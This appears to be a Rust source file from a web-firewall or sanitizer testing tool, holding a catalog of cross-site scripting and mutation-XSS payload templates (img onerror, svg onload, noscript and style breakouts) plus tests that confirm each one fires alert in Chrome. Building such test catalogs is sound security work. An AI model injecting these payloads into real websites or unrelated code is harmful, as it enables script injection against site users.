#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum VectorKind {
MutationXss,
InsertionHandler,
}
impl VectorKind {
#[must_use]
pub fn label(self) -> &'static str {
match self {
Self::MutationXss => "mutation-xss",
Self::InsertionHandler => "insertion-handler",
}
}
}
#[derive(Debug, Clone, Copy)]
pub struct MutationVector {
pub name: &'static str,
pub kind: VectorKind,
pub template: &'static str,
}
pub const MUTATION_XSS_VECTORS: &[MutationVector] = &[
MutationVector {
name: "img-onerror",
kind: VectorKind::InsertionHandler,
template: "<img src=x onerror=alert({{M}})>",
},
MutationVector {
name: "svg-onload",
kind: VectorKind::InsertionHandler,
template: "<svg onload=alert({{M}})>",
},
MutationVector {
name: "svg-smil-animate-onbegin",
kind: VectorKind::InsertionHandler,
template: "<svg><animate onbegin=alert({{M}}) attributeName=x dur=1s>",
},
MutationVector {
name: "details-ontoggle",
kind: VectorKind::InsertionHandler,
template: "<details open ontoggle=alert({{M}})>",
},
MutationVector {
name: "image-onerror-legacy",
kind: VectorKind::InsertionHandler,
template: "<image src=x onerror=alert({{M}})>",
},
MutationVector {
name: "mxss-noscript",
kind: VectorKind::MutationXss,
template: "<noscript><p title=\"</noscript><img src=x onerror=alert({{M}})>\">",
},
MutationVector {
name: "mxss-style-breakout",
kind: VectorKind::MutationXss,
template: "<style><img src=\"</style><img src=x onerror=alert({{M}})>\">",
},
MutationVector {
name: "mxss-svg-foreign-style",
kind: VectorKind::MutationXss,
template: "<svg><style><img src=x onerror=alert({{M}})></style></svg>",
},
];
#[must_use]
pub fn mutation_vectors(marker: &str) -> Vec<String> {
MUTATION_XSS_VECTORS
.iter()
.map(|v| v.template.replace("{{M}}", marker))
.collect()
}
#[must_use]
pub fn mxss_only(marker: &str) -> Vec<String> {
MUTATION_XSS_VECTORS
.iter()
.filter(|v| v.kind == VectorKind::MutationXss)
.map(|v| v.template.replace("{{M}}", marker))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
use crate::chrome;
#[test]
fn marker_substitution_is_complete() {
let v = mutation_vectors("1");
assert_eq!(v.len(), MUTATION_XSS_VECTORS.len());
assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left: {v:?}");
assert!(v.iter().any(|s| s.contains("alert(1)")));
}
#[test]
fn names_are_unique() {
let mut names: Vec<_> = MUTATION_XSS_VECTORS.iter().map(|v| v.name).collect();
names.sort_unstable();
let before = names.len();
names.dedup();
assert_eq!(before, names.len(), "vector names must be unique");
}
#[test]
fn mxss_subset_is_nonempty_and_mutation_class() {
let m = mxss_only("1");
assert!(!m.is_empty(), "must ship real mXSS vectors");
let mxss_count = MUTATION_XSS_VECTORS
.iter()
.filter(|v| v.kind == VectorKind::MutationXss)
.count();
assert_eq!(m.len(), mxss_count);
}
#[test]
fn every_mutation_vector_fires_in_chrome() {
let Some(c) = chrome::chrome_binary() else {
eprintln!("SKIP: no chrome binary, set WAFRIFT_CHROME_BIN to validate the mXSS catalog");
return;
};
let mut failures = Vec::new();
for v in MUTATION_XSS_VECTORS {
let payload = v.template.replace("{{M}}", "1");
let p = chrome::detonate_with_binary(&c, &payload);
if !(p.executed && p.message.as_deref() == Some("1")) {
failures.push(format!("[{}] {:?} → {p:?}", v.name, payload));
}
}
assert!(
failures.is_empty(),
"{} browser-only vector(s) did NOT fire alert(1) in {c}:\n{}",
failures.len(),
failures.join("\n")
);
}
}